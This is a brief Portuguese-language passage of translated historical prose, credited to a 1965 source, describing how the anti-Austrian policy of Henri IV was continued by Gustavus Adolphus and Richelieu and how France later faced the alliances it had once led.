A política que Henrique IV tinha traçado sobreviveu-lhe: a oposição à Áustria foi sustentada por Gustavo Adelfo, depois pelo cardeal de Richelieu, que foi a alma do reinado de Luís XIII. A França continuou a manter a liberdade religiosa e o equilíbrio europeu, até que ela mesma pareceu a ponto de o romper. Então viu voltar-se contra si essas alianças invejosas que a tinham ajudado a salvar a Europa.
Tradução de Savério Fittipaldi. Fonte: Edameris, 1965.
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